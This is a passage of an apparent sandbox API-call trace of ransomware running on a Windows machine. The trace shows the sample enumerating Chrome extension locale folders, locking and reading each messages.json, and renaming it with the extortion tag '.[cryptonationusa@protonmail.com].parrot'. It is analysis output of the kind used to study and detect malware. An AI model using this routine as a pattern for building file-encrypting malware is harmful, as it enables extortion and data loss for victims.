ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb82cf8e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.632] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebcc80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb82cf8e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.632] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.632] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.633] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebbce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ebbce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.633] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.633] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.633] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebcc80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.634] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1d3, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.634] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.634] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.635] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.635] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xbb, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xbb, lpOverlapped=0x0) returned 1 [0071.635] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.635] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1d3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.635] CloseHandle (hObject=0x1fc) returned 1 [0071.636] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.638] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.638] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb82f5a40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb82f5a40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.638] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebcc80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb82cf8e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.638] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.638] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.638] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebbce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ebbce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.638] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.638] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.638] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebcc80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0xb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.639] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ca, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.639] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.639] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.640] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.640] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb2, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb2, lpOverlapped=0x0) returned 1 [0071.640] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.640] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ca, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.640] CloseHandle (hObject=0x1fc) returned 1 [0071.640] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.642] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.642] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb82f5a40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb82f5a40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.642] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebcc80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb82f5a40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.642] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.643] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.643] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebbce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ebbce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.643] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.643] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.643] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebcc80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.645] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ce, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.645] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.645] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.646] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.646] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb6, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb6, lpOverlapped=0x0) returned 1 [0071.646] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.646] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ce, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.646] CloseHandle (hObject=0x1fc) returned 1 [0071.646] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.648] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.648] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb82f5a40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb82f5a40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.648] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebcc80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb82f5a40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.648] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.649] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.649] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebbce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ebbce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.649] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.649] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.649] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebcc80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.649] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x282, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.649] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.649] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.650] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.650] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x16a, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x16a, lpOverlapped=0x0) returned 1 [0071.650] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.651] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x282, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.651] CloseHandle (hObject=0x1fc) returned 1 [0071.651] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.653] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.653] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb831bba0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb831bba0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.653] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebcc80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb82f5a40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x288, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.653] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.654] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.654] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee1e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ee1e40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.654] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.654] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.654] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee3d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.698] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x213, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.698] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.699] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.699] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.700] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xfb, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xfb, lpOverlapped=0x0) returned 1 [0071.700] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.700] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x213, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.700] CloseHandle (hObject=0x28c) returned 1 [0071.700] MoveFileExW 